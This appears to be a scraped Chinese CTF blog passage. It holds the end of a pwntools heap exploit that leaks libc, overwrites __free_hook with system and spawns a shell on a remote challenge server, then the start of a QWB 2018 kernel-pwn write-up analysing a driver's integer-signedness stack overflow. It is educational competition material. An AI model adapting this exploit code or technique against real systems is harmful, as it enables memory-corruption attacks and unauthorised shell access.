elf_path + ' ' + elf_path + '.bk' ) change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path os.system(change_ld_cmd) li('modify ld ok!' ) exit(0 ) server_ip = "119.3.89.93" server_port = 8014 LOCAL = 0 LIBC = 1 def db (): if (LOCAL): gdb.attach(io)def ad (i, sz, d ): sla('ce:' , '1' ) sla(':' , str (i)) sla(':' , str (sz)) sa(':' , d)def md (i, sz, d ): sla('ce:' , '2' ) sla(':' , str (i)) sla(':' , str (sz)) if (len (d) > 0 ): sa(':' , d) def rm (i ): sla('ce:' , '3' ) sla(':' , str (i))def dp (i ): sla('ce:' , '4' ) sla(':' , str (i))def cre7 (): sla('ce:' , '5' )def gift (d ): sla('ce:' , '666' ) sla(':' , d)def exploit (): li('exploit...' ) for i in range (10 ): ad(i, 0x18 , 'A' * 0x18 ) rm(1 ) md(0 , 0 , '' ) dp(0 ) ru(':' ) leak = u64(ru('\n' )[-6 :] + b'\x00\x00' ) heap = leak - 0x2a0 li('heap: ' + hex (heap)) for i in range (5 ): rm(i + 2 ) md(7 , 0 , '' ) md(7 , 0x18 , p64(heap + 0x250 )) ad(0 , 0x18 , b'A' ) ad(0 , 0x18 , b'A' ) gift('none' ) ru('0x' ) leak = int (r(12 ), 16 ) offset = ( 0x7f50cd676140 - 0x7f50cd412000 ) libc_base = leak - offset free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] li('libc_base: ' + hex (libc_base)) ad(0 , 0x58 , b'A' ) ad(1 , 0x58 , b'/bin/sh\x00' ) ad(2 , 0x58 , b'A' ) md(0 , 0 , '' ) md(0 , 0x58 , p64(free_hook)) gift('A' ) gift(p64(system)) db() rm(1 ) def finish (): ia() c()if __name__ == '__main__' : if LOCAL: elf = ELF(elf_path) if LIBC: libc = ELF(libc_path) io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} ) else : io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} ) else : elf = ELF(elf_path) io = remote(server_ip, server_port) if LIBC: libc = ELF(libc_path) exploit() finish()
强网杯 2018 core 一个kernel pwn,来入入手。
如何解压cpio文件
直接使用ark解压软件解压即可。
保护 start script 1 2 3 4 5 6 7 8 qemu-system-x86_64 \ -m 64M \ -kernel ./bzImage \ -initrd ./core.cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user,id =t0, -device e1000,netdev=t0,id =nic0 \ -nographic \
开启了aslr保护
driver 1 2 3 4 5 Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x0)
有cannary保护
init script 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -smkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/ptschmod 666 /dev/ptmxcat /proc/kallsyms > /tmp/kallsymsecho 1 > /proc/sys/kernel/kptr_restrictecho 1 > /proc/sys/kernel/dmesg_restrict ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 insmod /core.ko poweroff -d 120 -f & setsid /bin/cttyhack setuidgid 1000 /bin/shecho 'sh end!\n' umount /proc umount /sys poweroff -d 0 -f
在上面init脚本中出现关机命令, 把它注释掉重新打包为cpio文件就不会自动关机了。
程序逻辑 init_module函数 1 2 3 4 5 6 __int64 init_module () { core_proc = proc_create("core" , 438LL , 0LL , &core_fops); printk(&unk_2DE); return 0LL ; }
exit_core 函数 1 2 3 4 5 6 7 8 __int64 exit_core () { __int64 result; if ( core_proc ) result = remove_proc_entry("core" ); return result; }
core_ioctl函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 __int64 __fastcall core_ioctl (__int64 a1, int a2, __int64 a3) { __int64 v3; v3 = a3; switch ( a2 ) { case 0x6677889B : core_read(a3); break ; case 0x6677889C : printk(&unk_2CD); off = v3; break ; case 0x6677889A : printk(&unk_2B3); core_copy_func(v3); break ; } return 0LL ; }
core_read函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 unsigned __int64 __fastcall core_read (__int64 a1) { __int64 v1; __int64 *v2; signed __int64 i; unsigned __int64 result; __int64 v5; unsigned __int64 v6; v1 = a1; v6 = __readgsqword(0x28 u); printk(&unk_25B); printk(&unk_275); v2 = &v5; for ( i = 16LL ; i; --i ) { *(_DWORD *)v2 = 0 ; v2 = (__int64 *)((char *)v2 + 4 ); } strcpy ((char *)&v5, "Welcome to the QWB CTF challenge.\n" ); result = copy_to_user(v1, (char *)&v5 + off, 64LL ); if ( !result ) return __readgsqword(0x28 u) ^ v6; __asm { swapgs } return result; }
core_copy_func 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 signed __int64 __fastcall core_copy_func (signed __int64 a1) { signed __int64 result; __int64 v2; unsigned __int64 v3; v3 = __readgsqword(0x28 u); printk(&unk_215); if ( a1 > 63 ) { printk(&unk_2A1); result = 0xFFFFFFFF LL; } else { result = 0LL ; qmemcpy(&v2, &name, (unsigned __int16)a1); } return result; }
漏洞点 若在core_copy_func函数中传入的参数为负数,造成整型溢出,即可实现堆栈溢出。